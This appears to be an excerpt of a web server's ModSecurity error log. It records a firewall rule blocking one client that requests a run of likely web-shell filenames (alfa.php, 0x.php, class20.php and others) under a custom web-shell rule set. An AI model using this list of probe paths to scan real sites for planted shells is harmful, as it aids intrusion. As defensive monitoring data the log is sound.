[Thu Jan 08 01:08:09.808888 2026] [:error] [pid 30633:tid 30682] [client 4.189.122.79:23102] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aV6S-fZiVWlF7303nMjY0AAAAFM"]
[Thu Jan 08 01:08:10.040001 2026] [:error] [pid 30633:tid 30683] [client 4.189.122.79:3171] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aV6S-vZiVWlF7303nMjY0QAAAFQ"]
[Thu Jan 08 01:08:10.266724 2026] [:error] [pid 50936:tid 50942] [client 4.189.122.79:3196] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aV6S-rDlg80QUdd5qc40SwAAAoQ"]
[Thu Jan 08 01:08:10.494354 2026] [:error] [pid 30632:tid 30652] [client 4.189.122.79:3612] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aV6S-ud3_LCpBJzo02c6OAAAABA"]
[Thu Jan 08 01:08:10.721414 2026] [:error] [pid 58330:tid 58355] [client 4.189.122.79:3190] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aV6S-g8kGngKGK7_wncyIAAAARc"]
[Thu Jan 08 01:08:10.948178 2026] [:error] [pid 50905:tid 50909] [client 4.189.122.79:3592] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aV6S-mpNgk5-gt30I7bGLAAAAkI"]
[Thu Jan 08 01:08:11.179855 2026] [:error] [pid 58330:tid 58348] [client 4.189.122.79:23052] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aV6S-w8kGngKGK7_wncyIgAAARA"]
[Thu Jan 08 01:08:11.406050 2026] [:error] [pid 50936:tid 50962] [client 4.189.122.79:3623] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aV6S-7Dlg80QUdd5qc40TgAAApg"]
[Thu Jan 08 01:08:11.635277 2026] [:error] [pid 58330:tid 58336] [client 4.189.122.79:3459] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aV6S-w8kGngKGK7_wncyJAAAAQQ"]
[Thu Jan 08 01:08:11.866166 2026] [:error] [pid 50936:tid 50949] [client 4.189.122.79:3603] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aV6S-7Dlg80QUdd5qc40UQAAAos"]
[Thu Jan 08 01:08:12.093511 2026] [:error] [pid 58294:tid 58318] [client 4.189.122.79:3130] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aV6S_FfzA7c0ITpf3nFbaAAAAJY"]
[Thu Jan 08 01:08:12.319983 2026] [:error] [pid 30633:tid 30684] [client 4.189.122.79:3428] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aV6S_PZiVWlF7303nMjY1wAAAFU"]
[Thu Jan 08 01:08:12.546922 2026] [:error] [pid 58330:tid 58347] [client 4.189.122.79:3191] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aV6S_A8kGngKGK7_wncyJgAAAQ8"]
[Thu Jan 08 01:08:12.775536 2026] [:error] [pid 58330:tid 58353] [client 4.189.122.79:3157] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aV6S_A8kGngKGK7_wncyJwAAARU"]
[Thu Jan 08 01:08:13.001072 2026] [:error] [pid 30632:tid 30648] [client 4.189.122.79:3188] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aV6S_ed3_LCpBJzo02c6OgAAAAw"]
[Thu Jan 08 01:08:13.231721 2026] [:error] [pid 30632:tid 30657] [client 4.189.122.79:3156] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aV6S_ed3_LCpBJzo02c6OwAAABU"]
[Thu Jan 08 01:08:13.458866 2026] [:error] [pid 30634:tid 30696] [client 4.189.122.79:3175] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aV6S_YCIPBibObtmZtswLAAAAMY"]
[Thu Jan 08 01:08:13.684019 2026] [:error] [pid 58294:tid 58314] [client 4.189.122.79:3136] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aV6S_VfzA7c0ITpf3nFbbQAAAJI"]
[Thu Jan 08 01:08:13.909353 2026] [:error] [pid 30633:tid 30674] [client 4.189.122.79:3134] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aV6S_fZiVWlF7303nMjY2wAAAEs"]
[Thu Jan 08 01:08:14.136575 2026] [:error] [pid 30633:tid 30678] [client 4.189.122.79:3149] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aV6S_vZiVWlF7303nMjY3QAAAE8"]
[Thu Jan 08 01:08:14.363762 2026] [:error] [pid 58294:tid 58320] [client 4.189.122.79:3174] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aV6S_lfzA7c0ITpf3nFbcAAAAJg"]
[Thu Jan 08 01:08:14.590059 2026] [:error] [pid 58294:tid 58310] [client 4.189.122.79:3144] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aV6S_lfzA7c0ITpf3nFbcQAAAI4"]
[Thu Jan 08 01:08:14.815927 2026] [:error] [pid 58330:tid 58350] [client 4.189.122.79:3430] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV6S_g8kGngKGK7_wncyKwAAARI"]
[Thu Jan 08 01:08:15.041040 2026] [:error] [pid 58330:tid 58345] [client 4.189.122.79:3455] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV6S_w8kGngKGK7_wncyLQAAAQ0"]
[Thu Jan 08 01:08:15.266724 2026] [:error] [pid 58330:tid 58338] [client 4.189.122.79:3193] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV6S_w8kGngKGK7_wncyLgAAAQY"]
[Thu Jan 08 01:08:15.507917 2026] [:error] [pid 58294:tid 58298] [client 4.189.122.79:3113] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV6S_1fzA7c0ITpf3nFbcgAAAII"]
[Thu Jan 08 01:08:15.742626 2026] [:error] [pid 58294:tid 58302] [client 4.189.122.79:3139] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aV6S_1fzA7c0ITpf3nFbdAAAAIY"]
[Thu Jan 08 01:08:15.969690 2026] [:error] [pid 51128:tid 51135] [client 4.189.122.79:3185] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aV6S_0GjtE8U88mrwufLtAAAAYU"]
[Thu Jan 08 01:08:16.195324 2026] [:error] [pid 30633:tid 30680] [client 4.189.122.79:23051] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aV6TAPZiVWlF7303nMjY4AAAAFE"]
[Thu Jan 08 01:08:16.423672 2026] [:error] [pid 51128:tid 51138] [client 4.189.122.79:23097] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aV6TAEGjtE8U88mrwufLtgAAAYg"]
[Thu Jan 08 01:08:16.652908 2026] [:error] [pid 58294:tid 58304] [client 4.189.122.79:3141] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aV6TAFfzA7c0ITpf3nFbdwAAAIg"]
[Thu Jan 08 01:08:16.879741 2026] [:error] [pid 50870:tid 50880] [client 4.189.122.79:3591] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aV6TABlePfspAt1BzouXyAAAAgg"]
[Thu Jan 08 01:08:17.107222 2026] [:error] [pid 58294:tid 58307] [client 4.189.122.79:3458] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aV6TAVfzA7c0ITpf3nFbeAAAAIs"]
[Thu Jan 08 01:08:17.333612 2026] [:error] [pid 58294:tid 58318] [client 4.189.122.79:3593] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aV6TAVfzA7c0ITpf3nFbeQAAAJY"]
[Thu Jan 08 01:08:17.559836 2026] [:error] [pid 51128:tid 51142] [client 4.189.122.79:3595] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aV6TAUGjtE8U88mrwufLuQAAAYw"]
[Thu Jan 08 01:08:17.786650 2026] [:error] [pid 50838:tid 50857] [client 4.189.122.79:3112] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aV6TAbSweZ27JIN4H8vtxwAAAdE"]
[Thu Jan 08 01:08:18.012727 2026] [:error] [pid 50905:tid 50911] [client 4.189.122.79:3460] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aV6TAmpNgk5-gt30I7bGMwAAAkQ"]
[Thu Jan 08 01:08:18.240844 2026] [:error] [pid 50838:tid 50858] [client 4.189.122.79:3291] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aV6TArSweZ27JIN4H8vtyAAAAdI"]
[Thu Jan 08 01:08:18.466565 2026] [:error] [pid 30633:tid 30685] [client 4.189.122.79:3431] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aV6TAvZiVWlF7303nMjY4wAAAFY"]
[Thu Jan 08 01:08:18.695415 2026] [:error] [pid 30634:tid 30706] [client 4.189.122.79:3620] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aV6TAoCIPBibObtmZtswLQAAANA"]
[Thu Jan 08 01:08:18.921183 2026] [:error] [pid 50936:tid 50951] [client 4.189.122.79:3449] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aV6TArDlg80QUdd5qc40VwAAAo0"]
[Thu Jan 08 01:08:19.147370 2026] [:error] [pid 51128:tid 51152] [client 4.189.122.79:3610] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aV6TA0GjtE8U88mrwufLvgAAAZY"]
[Thu Jan 08 01:08:19.372687 2026] [:error] [pid 58294:tid 58314] [client 4.189.122.79:3192] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aV6TA1fzA7c0ITpf3nFbfQAAAJI"]
[Thu Jan 08 01:08:19.600861 2026] [:error] [pid 50905:tid 50908] [client 4.189.122.79:3473] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aV6TA2pNgk5-gt30I7bGNgAAAkE"]
[Thu Jan 08 01:08:19.827278 2026] [:error] [pid 58294:tid 58309] [client 4.189.122.79:3176] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aV6TA1fzA7c0ITpf3nFbfgAAAI0"]
[Thu Jan 08 01:08:20.054380 2026] [:error] [pid 50838:tid 50855] [client 4.189.122.79:3151] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aV6TBLSweZ27JIN4H8vtywAAAc8"]
[Thu Jan 08 01:08:20.290784 2026] [:error] [pid 30632:tid 30655] [client 4.189.122.79:3625] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aV6TBOd3_LCpBJzo02c6QgAAABM"]
[Thu Jan 08 01:08:20.528153 2026] [:error] [pid 58330:tid 58348] [client 4.189.122.79:3183] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aV6TBA8kGngKGK7_wncyMgAAARA"]
[Thu Jan 08 01:08:20.765780 2026] [:error] [pid 50838:tid 50859] [client 4.189.122.79:3643] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aV6TBLSweZ27JIN4H8vtzQAAAdM"]
[Thu Jan 08 01:08:21.013103 2026] [:error] [pid 30634:tid 30695] [client 4.189.122.79:3424] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aV6TBYCIPBibObtmZtswMQAAAMU"]
[Thu Jan 08 01:08:21.239267 2026] [:error] [pid 30634:tid 30709] [client 4.189.122.79:3155] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV6TBYCIPBibObtmZtswMgAAANM"]
[Thu Jan 08 01:08:21.473167 2026] [:error] [pid 30632:tid 30636] [client 4.189.122.79:23099] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV6TBed3_LCpBJzo02c6QwAAAAA"]
[Thu Jan 08 01:08:21.709508 2026] [:error] [pid 58294:tid 58320] [client 4.189.122.79:3178] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV6TBVfzA7c0ITpf3nFbgQAAAJg"]
[Thu Jan 08 01:08:21.958665 2026] [:error] [pid 58330:tid 58342] [client 4.189.122.79:3142] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV6TBQ8kGngKGK7_wncyNAAAAQo"]
[Thu Jan 08 01:08:27.588443 2026] [:error] [pid 30633:tid 30681] [client 4.189.122.79:3198] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aV6TC_ZiVWlF7303nMjY9AAAAFI"]
[Thu Jan 08 01:08:27.814303 2026] [:error] [pid 58294:tid 58315] [client 4.189.122.79:3590] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aV6TC1fzA7c0ITpf3nFbiwAAAJM"]
